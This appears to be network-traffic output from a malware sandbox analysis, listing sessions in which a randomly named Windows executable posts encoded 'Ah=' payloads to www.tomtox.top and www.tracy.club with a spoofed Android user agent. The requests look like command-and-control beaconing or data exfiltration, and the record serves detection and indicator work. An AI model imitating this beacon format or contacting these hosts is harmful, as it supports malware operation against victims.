Sep 27, 2024 17:31:15.989598036 CEST	832	OUT	POST /3nd4/ HTTP/1.1 Host: www.tomtox.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.tomtox.top Referer: http://www.tomtox.top/3nd4/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 56 55 44 67 78 52 7a 41 74 59 4e 51 7a 55 4f 6e 48 47 57 79 32 36 78 36 54 44 30 47 69 46 63 69 30 75 44 4b 6c 6d 41 55 65 4c 7a 53 6e 41 73 4a 4c 5a 47 43 6d 32 6a 32 32 6e 34 71 39 5a 4c 79 6b 41 6a 43 5a 32 65 6d 59 35 30 70 31 50 49 65 6e 6a 49 38 47 57 63 71 6e 4f 71 48 76 70 71 75 54 2b 56 4c 76 77 4f 70 54 31 5a 78 43 71 39 45 6b 51 65 55 62 7a 53 33 77 2f 34 79 6d 52 75 6a 67 53 53 75 34 4f 56 75 51 51 33 45 69 4c 49 2f 6f 53 50 43 76 52 63 2b 76 65 49 64 5a 4a 44 39 71 33 76 41 36 73 73 42 55 4b 32 74 72 48 4e 52 6a 45 71 66 69 36 71 46 61 31 4e 31 48 30 6f 53 55 72 53 4a 63 51 3d Data Ascii: Ah=9VUDgxRzAtYNQzUOnHGWy26x6TD0GiFci0uDKlmAUeLzSnAsJLZGCm2j22n4q9ZLykAjCZ2emY50p1PIenjI8GWcqnOqHvpquT+VLvwOpT1ZxCq9EkQeUbzS3w/4ymRujgSSu4OVuQQ3EiLI/oSPCvRc+veIdZJD9q3vA6ssBUK2trHNRjEqfi6qFa1N1H0oSUrSJcQ=
Sep 27, 2024 17:31:16.579109907 CEST	533	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:31:16 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	63712	162.0.238.43	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:18.539612055 CEST	852	OUT	POST /3nd4/ HTTP/1.1 Host: www.tomtox.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.tomtox.top Referer: http://www.tomtox.top/3nd4/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 56 55 44 67 78 52 7a 41 74 59 4e 52 54 45 4f 6c 68 4f 57 31 57 36 32 32 7a 44 30 4e 43 46 51 69 30 69 44 4b 6b 53 51 55 73 2f 7a 53 47 77 73 49 4b 5a 47 44 6d 32 6a 2b 57 6e 39 6e 64 5a 43 79 6b 46 63 43 59 4b 65 6d 5a 5a 30 70 30 66 49 65 55 62 4c 39 57 57 65 69 48 4f 6f 4b 50 70 71 75 54 2b 56 4c 76 6b 77 70 54 74 5a 78 53 36 39 4c 6c 51 5a 58 62 7a 52 6e 51 2f 34 32 6d 52 69 6a 67 53 38 75 35 54 2b 75 54 6f 33 45 6e 76 49 2f 35 53 41 4e 76 51 58 36 76 66 6d 61 4b 56 4c 36 5a 71 6c 48 49 46 77 52 55 43 55 6c 39 71 6e 4c 42 4d 43 4d 43 57 53 56 4a 39 36 6b 33 56 42 49 33 37 69 58 4c 48 55 57 73 37 50 53 58 74 39 4c 59 57 50 70 59 2f 4d 39 64 41 34 Data Ascii: Ah=9VUDgxRzAtYNRTEOlhOW1W622zD0NCFQi0iDKkSQUs/zSGwsIKZGDm2j+Wn9ndZCykFcCYKemZZ0p0fIeUbL9WWeiHOoKPpquT+VLvkwpTtZxS69LlQZXbzRnQ/42mRijgS8u5T+uTo3EnvI/5SANvQX6vfmaKVL6ZqlHIFwRUCUl9qnLBMCMCWSVJ96k3VBI37iXLHUWs7PSXt9LYWPpY/M9dA4
Sep 27, 2024 17:31:19.253101110 CEST	533	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:31:19 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	63713	162.0.238.43	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:21.085164070 CEST	1869	OUT	POST /3nd4/ HTTP/1.1 Host: www.tomtox.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.tomtox.top Referer: http://www.tomtox.top/3nd4/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 39 56 55 44 67 78 52 7a 41 74 59 4e 52 54 45 4f 6c 68 4f 57 31 57 36 32 32 7a 44 30 4e 43 46 51 69 30 69 44 4b 6b 53 51 55 73 6e 7a 52 30 6f 73 4b 70 78 47 45 6d 32 6a 39 57 6e 38 6e 64 59 51 79 67 67 56 43 59 48 38 6d 64 70 30 70 57 48 49 50 46 62 4c 33 57 57 65 67 48 4f 72 48 76 70 46 75 53 50 63 4c 76 30 77 70 54 74 5a 78 58 32 39 50 30 51 5a 52 62 7a 53 33 77 2f 73 79 6d 51 33 6a 67 61 4b 75 35 58 49 70 69 49 33 44 48 2f 49 36 50 2b 41 53 66 51 56 39 76 66 49 61 4b 59 56 36 5a 33 63 48 49 64 61 52 57 53 55 6c 38 72 65 4f 44 4d 65 66 45 32 7a 55 72 56 5a 79 48 6c 79 50 6b 48 73 62 34 6a 4f 5a 75 2f 77 51 6e 4a 6a 50 49 50 62 77 65 6a 6a 76 73 42 7a 48 78 77 65 41 75 39 4e 52 67 61 6c 35 37 64 2f 63 55 38 44 31 57 75 4a 47 4e 30 61 4e 67 31 44 37 4f 31 61 51 58 72 73 49 42 44 58 77 2f 67 61 35 48 36 55 72 4b 31 35 4d 42 4b 47 63 50 6b 43 4c 34 79 52 78 4a 6b 55 63 63 43 59 4d 65 6a 52 78 79 4e 5a 58 32 5a 48 66 73 77 55 59 68 76 58 6b 42 2f 2f 6a 42 4c 70 42 53 74 62 68 4a 43 6c 69 37 30 [TRUNCATED] Data Ascii: Ah=9VUDgxRzAtYNRTEOlhOW1W622zD0NCFQi0iDKkSQUsnzR0osKpxGEm2j9Wn8ndYQyggVCYH8mdp0pWHIPFbL3WWegHOrHvpFuSPcLv0wpTtZxX29P0QZRbzS3w/symQ3jgaKu5XIpiI3DH/I6P+ASfQV9vfIaKYV6Z3cHIdaRWSUl8reODMefE2zUrVZyHlyPkHsb4jOZu/wQnJjPIPbwejjvsBzHxweAu9NRgal57d/cU8D1WuJGN0aNg1D7O1aQXrsIBDXw/ga5H6UrK15MBKGcPkCL4yRxJkUccCYMejRxyNZX2ZHfswUYhvXkB//jBLpBStbhJCli70aYnf/54PsUPh6shBrZqk9JQFvhLx+YbQkXSydIifeB8oIsK5scfIxp1syLPasPVkNfc2xX8QS/2mCTq2PQ6x59mBD9Rdt1DxNR0Kzn55uNpqfLo437/DAkKH/0ADBKOUGV7kgUCU7jDIeqn3Gur++LNAXeMR2ZScryDY80Zx2LuLXpGTCY9rKrNMvwCoWeBw3bwoMgQqzMukP4lvyNKjV+ZcH4JB8QKNSZHsAY23Z0MWRBgNaiZKheCYLim0aRAFToKPpkpRybgYlPMeqOQlAYewA/rlMz0TH81ox0gBOsmOjzT6iDFZaiHno7ugjLjFUDmr/5q52k0q+JraVHsJ/9yWAs7i+dkdgAkd0ZD6xH52k1bJ4qS9oaBmmNyeqcB98UMDu7Q0lILOyk2huH6zq1mGKOnwCHqV8flRL4biZWhkvPy5rlx384KGcuhAfKoVN1Qb+9DVvKby+tDzqVV81LMOqJo/e4Ehg48yIF7mxzwYVEDqQu++vArGhR5psC7Yb0gil6UjL3rb49N6uxA4h9OX6ddGZFZ5yGB00hgE3CzC+28nBQGNvJbnaWXUOAzw+0Y3MjZ0x/J79d/brvOipCfB9k8LuFqu6ub6B4P9/TMAmbbV3ShPaNpAey1+Smxbhg4f0U/gfWxXUz9/7MtLsfb1KSnrobsjMx [TRUNCATED]
Sep 27, 2024 17:31:21.683240891 CEST	533	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:31:21 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	63714	162.0.238.43	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:23.627716064 CEST	582	OUT	GET /3nd4/?Ah=wX8jjEADFIUNbB1fuwn27lCA5Ee2RiJ4qVOVM3qHbtn5VxkeI5MaAkn7o3WZs+Yr7x4eULr6m9MYlnr0WXfs3GrmtSbeGOpl3yeERPUVozEPpEyzLyJ+XoeluijW2G1r0A==&6RGD=r8eHwnMpb2dxK HTTP/1.1 Host: www.tomtox.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
Sep 27, 2024 17:31:24.343977928 CEST	548	IN	HTTP/1.1 404 Not Found Date: Fri, 27 Sep 2024 15:31:24 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	63715	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:29.400132895 CEST	832	OUT	POST /e55r/ HTTP/1.1 Host: www.tracy.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 203 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.tracy.club Referer: http://www.tracy.club/e55r/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 55 78 49 4b 69 4c 65 32 59 54 4d 4d 76 39 5a 31 51 6e 2f 72 35 46 76 57 54 79 6c 59 37 2b 32 47 32 61 6f 79 54 36 74 31 44 36 53 5a 2b 66 31 6c 61 68 62 79 6f 6b 2b 43 6c 30 41 47 51 63 31 2f 6a 33 62 46 45 78 55 59 6b 61 75 4f 78 6d 73 56 6e 47 66 48 54 55 74 57 62 69 75 6d 64 44 75 55 53 46 62 75 74 58 39 32 76 65 62 74 7a 61 30 58 49 4d 6d 4f 4e 79 74 34 57 69 78 67 67 4d 51 36 46 55 4c 4f 76 71 34 4f 53 6e 33 46 31 6c 66 6d 55 49 63 44 35 41 42 38 37 2b 42 36 30 44 6a 76 64 62 4f 35 56 58 52 2f 75 77 72 6d 50 34 70 7a 2f 4e 54 75 2f 76 4f 59 73 46 56 33 5a 6e 30 48 61 66 4f 51 43 50 73 3d Data Ascii: Ah=UxIKiLe2YTMMv9Z1Qn/r5FvWTylY7+2G2aoyT6t1D6SZ+f1lahbyok+Cl0AGQc1/j3bFExUYkauOxmsVnGfHTUtWbiumdDuUSFbutX92vebtza0XIMmONyt4WixggMQ6FULOvq4OSn3F1lfmUIcD5AB87+B60DjvdbO5VXR/uwrmP4pz/NTu/vOYsFV3Zn0HafOQCPs=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	63716	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:31.947791100 CEST	852	OUT	POST /e55r/ HTTP/1.1 Host: www.tracy.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 223 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.tracy.club Referer: http://www.tracy.club/e55r/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 55 78 49 4b 69 4c 65 32 59 54 4d 4d 75 63 70 31 63 6b 6e 72 2f 6c 76 52 50 69 6c 59 79 65 32 61 32 61 55 79 54 37 6f 6f 45 4a 36 5a 2b 2b 6c 6c 49 31 76 79 76 6b 2b 43 74 55 41 44 55 63 31 77 6a 33 48 4e 45 7a 77 59 6b 65 4f 4f 78 6d 38 56 6e 56 33 59 53 45 74 51 53 43 75 6b 54 6a 75 55 53 46 62 75 74 58 6f 5a 76 64 72 74 7a 71 6b 58 5a 64 6e 59 48 53 74 2f 52 69 78 67 6b 4d 51 2b 46 55 4c 6f 76 72 55 67 53 6b 44 46 31 67 37 6d 55 5a 63 63 33 41 42 6d 6b 4f 41 4d 79 69 4f 78 52 70 47 55 52 32 49 6b 7a 79 54 64 44 75 45 5a 6c 76 62 47 73 50 69 67 38 57 64 41 49 58 56 75 41 38 65 67 63 59 35 4e 65 79 4d 50 6d 62 41 67 44 54 2b 44 5a 5a 6c 5a 68 4b 6f 78 Data Ascii: Ah=UxIKiLe2YTMMucp1cknr/lvRPilYye2a2aUyT7ooEJ6Z++llI1vyvk+CtUADUc1wj3HNEzwYkeOOxm8VnV3YSEtQSCukTjuUSFbutXoZvdrtzqkXZdnYHSt/RixgkMQ+FULovrUgSkDF1g7mUZcc3ABmkOAMyiOxRpGUR2IkzyTdDuEZlvbGsPig8WdAIXVuA8egcY5NeyMPmbAgDT+DZZlZhKox

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	63717	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:34.490447998 CEST	1869	OUT	POST /e55r/ HTTP/1.1 Host: www.tracy.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Origin: http://www.tracy.club Referer: http://www.tracy.club/e55r/ User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile Data Raw: 41 68 3d 55 78 49 4b 69 4c 65 32 59 54 4d 4d 75 63 70 31 63 6b 6e 72 2f 6c 76 52 50 69 6c 59 79 65 32 61 32 61 55 79 54 37 6f 6f 45 50 69 5a 2b 4d 39 6c 61 43 7a 79 75 6b 2b 43 6a 30 41 43 55 63 31 58 6a 33 50 42 45 7a 4d 69 6b 63 32 4f 77 41 77 56 32 55 33 59 63 45 74 51 4e 53 75 6c 64 44 75 46 53 46 4c 71 74 58 34 5a 76 64 72 74 7a 73 49 58 4a 38 6e 59 42 53 74 34 57 69 78 73 67 4d 51 47 46 55 53 54 76 72 51 65 53 33 62 46 32 41 4c 6d 53 72 45 63 2f 41 42 34 6c 4f 41 45 79 69 43 51 52 74 65 75 52 32 38 4b 7a 78 44 64 42 6f 4a 36 30 66 72 5a 36 59 47 34 32 78 42 48 51 67 78 34 4a 66 62 55 58 49 63 6a 43 47 59 6e 6f 72 6c 6e 42 58 2b 48 4b 63 39 73 72 73 52 45 55 4d 45 4a 54 54 38 63 2f 59 41 65 6c 56 6f 4d 74 64 37 44 56 47 39 35 70 65 32 67 52 79 6d 55 5a 76 64 35 43 51 43 79 53 75 55 4e 69 30 6d 4e 62 49 32 49 6a 4f 49 65 51 53 70 78 64 52 38 6a 32 7a 72 6d 2b 47 76 74 46 30 66 4b 50 79 6c 63 79 48 76 77 78 38 36 49 33 6a 49 2f 49 79 31 6f 41 6d 5a 59 4e 44 2b 75 48 48 5a 61 6f 31 59 55 4c 72 66 [TRUNCATED] Data Ascii: Ah=UxIKiLe2YTMMucp1cknr/lvRPilYye2a2aUyT7ooEPiZ+M9laCzyuk+Cj0ACUc1Xj3PBEzMikc2OwAwV2U3YcEtQNSuldDuFSFLqtX4ZvdrtzsIXJ8nYBSt4WixsgMQGFUSTvrQeS3bF2ALmSrEc/AB4lOAEyiCQRteuR28KzxDdBoJ60frZ6YG42xBHQgx4JfbUXIcjCGYnorlnBX+HKc9srsREUMEJTT8c/YAelVoMtd7DVG95pe2gRymUZvd5CQCySuUNi0mNbI2IjOIeQSpxdR8j2zrm+GvtF0fKPylcyHvwx86I3jI/Iy1oAmZYND+uHHZao1YULrf8SNGfq5Hjmh+wfqEv0pYtXjoVsmsBm4AQr3QF7z8DmRM6Jle5kz7V9ENuzVeQCbKiFDPtglXbcT4H0zAsBw9ZDicIqN5qUJnxpSxd7Wjuf7TEjsYFh8TVkZVJEhMINNB71oB9tN9Jbd3MuCHGpXzC3Jh9ia6VY9CCXokdhorcMmPM5Fna0jWcLvmtvfHDnl7jDPHs/l4UWlU2R7YgDXjlr1zXrt6Kfe/atbpJJClScSX+GMqlbQb/aVZEiQRlyU/iGT9WlwBuCKAf1i2+P5RwMtr9cJFswjVGlQ7KcDxpTPnjOK/ZsdAJ+QEz4DcJn9XFfZwUW0vtrwqX3l2F7YTLAtE/OTQX0CIM5Nt9CUttknTBEaUhixThWPpXUsm2heS317fu4WtaAmX3W37uuKqcNR5ii5BVCEsAg0HjGhzCVUasAIDFi270oWTK/2HbA8biYWokmsz++D2mMrT/DhYDq7im+/Hi0L9fvIQUhgw0UuIudUjJxsXqNnW8xYXiKYdJTJP+TZ/V8m4dcQhdhAtIJhM51Z/UBd16QcTx3+8/1AOmp5E83/pHTaSwAvO7v0dtfcDJNcjlzfvs7+FiLCMwmJCLFpVOP2cdx0c0OGeSOBlsyIk7Qt/NZXW0sByFi5PjgbIj7ghVNqbODF6lLrxuG2EES/8orvoNx [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	63718	3.33.130.190	80	5008	C:\Program Files (x86)\NHuuOIFvCiPFQibUqPiGsnnYLmnfQHCwDOqCxLWShlKuSgLUvc\HoiWfznxKU.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 17:31:37.032845974 CEST	582	OUT	GET /e55r/?6RGD=r8eHwnMpb2dxK&Ah=Zzgqh8Lsa2kOmONOeD/+wB3QPxQKiLO67pxSC7hPMpOG1Z1VfhXWq1/e6lRyRcxlhH3VBh1kivLC4EoU4HrmQnEQVHiNTiKoH2rx3XIqvsrry8gzD7/bBD8mRjNwheBxYg== HTTP/1.1 Host: www.tracy.club Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 2.3.6; pt-BR; LG-E400f Build/GRK39F) AppleWebKit/528.5+ (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 UCBrowser/10.3.0.622 Mobile
